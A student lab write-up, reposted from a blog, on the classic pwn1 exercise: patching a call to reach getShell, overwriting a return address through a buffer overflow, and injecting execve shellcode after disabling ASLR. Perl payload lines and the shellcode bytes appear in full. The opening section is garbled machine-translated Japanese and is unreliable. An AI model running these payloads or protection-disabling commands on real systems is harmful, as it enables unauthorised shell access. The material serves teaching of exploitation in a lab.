2019-2020-2 20175308ヤン「ネットワーク戦技術」Exp1のPCプラットフォームの逆ブレーク

2019-2020-2 20175308ヤン「ネットワーク戦技術」Exp1のPCプラットフォームの逆ブレーク

それは知識のポイントが必要です

1.マスターNOP、JNE、JE、JMP、CMPコンパイルマシンコード命令

  • NOP --- OP - "0x90を"
  • JNE(ジャンプ等しくない場合) - 条件付きジャンプ - 「0x75」
  • JE(イコールならばジャンプ) - 条件付きジャンプ - "0x74"
  • JMP--無条件ジャンプ - "0xeb"(短いジャンプ)、 "0xe9"(近くにジャンプ)、 "0xEA"(遠ジャンプ)
  • CMP--は、比較命令 - "ます。0x39"

および関連する関数は、の使用を参照することがアセンブリ命令とマシンコード対応表

2.分解し、マスタープログラマの六角

  • 分解コマンド:objdump -d filename

    実験では、コマンドを使用しobjdump -d pwn1 | more
    、プロジェクト・ダンプdump--オブジェクト- 「objdumpの」
    - 「-d」disassemble--を分解
    「|」 -パイプ文字
    「より」 -ページの表示を

  • 六角プログラマー

    公式の定義:「進編集ツールでテキスト編集ビュー用バイナリエディタ。」

私たちの実験では、実際に入力して、ファイルを開くには、VIを使用し%!xxd、ファイルの代わりに進表示を%!xxd -rASCIIコードにファイルバックを。そして、キーボード入力を形成するために、Perl言語を使用すると、進数が含まれていますperl -e 'print "xxx"' > input

3.マシン命令は、正しいプログラムの順序を変更するように変更することができます

訓練ミッションの下を参照してください。

4.ペイロードが適切に攻撃BOF構築することができます

プラクティスタスクスリーの下を参照してください。

何を練習

オブジェクトの練習はのpwn1という名前のLinux実行可能ファイルです。
実行の通常の流れは次のとおりです。主な機能はFOO、FOO機能は、単に任意のユーザの入力文字列をエコーう呼び出します。
メインとFOOに加えて、実行可能ファイルには、スニペットgetShellが含まれ、通常の動作条件の下で、このgetshellが実行されていない、私たちの目標は、このコードを実行する方法を見つけることスニペット
以下の3回の練習を:

  • 手動getShell機能に直接ジャンプ、プログラムの実行フローを変更して、実行可能ファイルを変更します。
  • リターンアドレス、トリガーgetShell機能を、関数fooの脆弱性、攻撃者コンストラクト入力文字列を使用して上書きBOF。
  • 自分自身を生成し、このシェルコードを実行するためのシェルコードを注入します。

実用的な手順

直接タスクを練習機械命令プログラムを修正し、プログラムの実行フローを変更

タスクのアイデア:
関数fooを呼び出すための主な機能により、通常のプロセスでpwn1ファイルは、操作が関数fooの最初のアドレスにジャンプ呼び出して、我々は直接マシン命令を変更することができ、我々はgetshellの最初の実行へのジャンプを強制したいですアドレス。


1.ダウンロードpwn1ファイル、その解体(以前に入力されたcp pwn1 pwn2バックアップ)
入力コマンドobjdump -d pwn1 | morepwn1逆アセンブルへ、およびページ表示、入力/main位置の主な機能を見つけるために

示されているように、我々はジャンプ実行するためのステートメントを見つけるcall 8048491<foo>のマシン命令に対応し、e8 d7 ff ff ff

  • 「E8」 - コール命令は、機械命令である、すなわち、ジャンプ
  • "D7 FF FF FF" - ジャンプアドレスへ

getshell函数的首地址为“0804847d”,foo函数的首地址为“08048491”。
所以我们现在就要修改机器指令,使它从指向“08048491”改为指向“0804847d”
2.计算机器指令并修改
机器指令中的d7 ff ff ff是一段补码,他的值等于08048491-080484ba,所以我们要计算的值为0804847d-080484ba

到此我们知道了应该将机器指令修改为“c3 ff ff ff”(小端模式)
3.对pwn1文件进行修改

  • 使用vi编辑器打开pwn1文件,这时候的显示应该是满屏的乱码
  • esc键,输入:%!xxd,此时的显示为16进制形式
  • 键入/e8 d7,快速锁定需要修改的地址,我们还可以打开反汇编结果比对上下文再确定一下这个位置

  • 将”d7“修改成“c3”,输入:%!xxd -r将文件还原到原格式。
  • 对pwn1再次进行反汇编,确认修改结果

4.运行pwn1

如图,运行pwn1文件成功启动了shell,可正常输入命令,实验成功!

实践任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

任务思路:
1.call指令分解:
当main函数调用foo函数时,会产生一个call的机器指令,而call指令实际上分成两步执行:

  • push eip
  • jump XXX

即call指令执行过程中首先将eip压入栈中,然后再进行跳转。eip中保存的是call指令下一条指令的地址,当调用结束后,程序通过这个地址进行返回。即该地址为返回地址。
2.缓冲区溢出:
当程序调用时,会形成自己的栈帧,但是foo函数的缓冲区具有Bufferoverflow漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。


1.对pwn1文件进行反汇编,输入/foo快速锁定foo函数内容

如图,我们可以看出,程序为foo函数留出了“0x1c”(28字节)的缓冲区。main函数中eip中装入返回地址“080484ba”。
2.确定怎样输入字符串可以覆盖“080484ba”:
当我们得知缓冲区长度是28字节后,基本已经可以还原此时此段堆栈的结构,调用foo函数后eip进栈,保存返回地址,这部分占4个字节,4个字节保存主函数ebp,然后紧跟着缓冲区的28字节,如图所示

我们现在可以对这个结果进行验证。输入gdb pwn2,输入“r”运行。输入字符串我们构造1111111122222222333333334444444412345678,这时候
程序报告Segmentation fault,输入info r观察此时各寄存器的值:

我们可以看出,eip寄存器的值是我们输入字符串的“1234”,证明eip确实被32个字节后的第33——36字节所覆盖
3.构造输入字符串
我们之前已经找到getshell的首地址是”0804847d“,现在需要的是将这段16进制地址作为我们输入字符串的第33——36字节。我们通过键盘无法实现输入16进制,因此这里通过Perl语言将地址通过输出重定向存储到一个文件中。

Perl语言: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。

因此,我们先输入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input将地址存储到input文件中。

由上张图片显示,eip: 0x34333231 所以地址部分正确输入应为“\x7d\x84\x04\x08”
\x0a——回车,加到末尾运行时不用再手动敲回车

输入xxd input,检查文件是否如我们预期的那样

4.以input为输入运行文件
输入(cat input; cat) | ./pwn1,将input的内容通过管道符“|”作为pwn2的输入,运行结果如下:

发现我们再一次召唤出了shell,实验成功!

实践任务三 注入Shellcode并执行

任务思路:
1.shellcode:

shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

有关shellcode的编写可以参考学长博客shellcode入门
本次实验中我们使用的shellcode为:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

2.攻击buf的构造:
两种构造攻击buf的方法:

  • retaddr+nops+shellcode
  • nops+shellcode+retaddr

    nops:空指令,机器码为“0x90”,什么也不做,直接进行下一个指令,只要程序执行到了任意一个nops空间里的nop指令,都会滑行到我们希望系统执行的shellcode。

本次实验的结构为retaddr+nops+shellcode


1.准备工作
这部分的目的是使堆栈可以被执行已经关闭地址随机化,因为我们需要通过调试来确定shellcode的地址

  • 输入execstack -s pwn1 //设置堆栈可执行
  • 输入execstack -q pwn1
  • 输入more /proc/sys/kernel/randomize_va_space
  • 输入echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
  • 输入more /proc/sys/kernel/randomize_va_space

2.构造payload

  • 输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode注意这里最后一个字符不是\x0a,不然后续步骤无法完成
  • 注入攻击buf(cat input_shellcode;cat) | ./pwn1

3.使用gdb进行调试

  • 打开另一个终端,先找到pwn1的进程

如图可以看出该进程的进程id为“2438”

  • 启动gdb,输入attach 2438
  • 输入disassemble foo,发现断在“080484ae”
  • 输入break *0x080484ae设置断点
  • 在另外一个终端按下回车(这也是为什么攻击buf不能以\x0a结尾)
  • 回到gdb终端,输入info r esp,查看栈顶指针

到这里我们已经看见了“01020304”,他的位置是在0xffffd29c,那么shellcode就在他高4个字节的地址,即0xffffd2a0!
4.重新构造攻击buf

  • 此时我们重新形成input_shellcode,输入perl -e 'print "A" x 32;print "\xa0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 进行攻击,此时我们发现攻击成功!

总结

实验收获与感想

这次实验相比以往有很大不同,以往的实验都是比较宏观的,使用C语言和java完成的,而这次的实验却是主要和汇编语言、堆栈、机器码打交道。想要完成固然很简单,按部就班输入实验指导中的代码总能完成,但如果不花时间研究很难去理解透彻,光是视频中堆栈一个框框,攻击buf一个框框就很容易看晕。因此我花了很多时间去观看教学视频,自己还原堆栈中的情况,尽量弄清楚每一个步骤的用意和原理。这篇博客其实是在我完成实验几天后才写的,就是为了再好好整理一下实验思路,结果总结的过程中我猛然发现有几个知识点我一直理解的居然还是错的,又得急吼吼的翻看视频求证。这也提醒了我以后完成实验还要再细致一点,完善思路的同时也可以乐在其中,毕竟网络对抗、破解什么的,一听就很酷炫醒脑。

什么是漏洞?漏洞有什么危害

  • 我认为漏洞就是代码本身存在的一些缺陷,它不会对用户正常合法的使用造成不便,但可以被恶意攻击者加以利用造成不必要的损失。原因在于程序员没有对程序可能被使用的任何语境进行周全的预期。
  • 漏洞可以被恶意攻击者利用实现各种目的,破坏用户系统、盗取用户隐私、损毁用户数据、造成严重的经济损失。

おすすめ

転載: www.cnblogs.com/darklord0604/p/12424916.html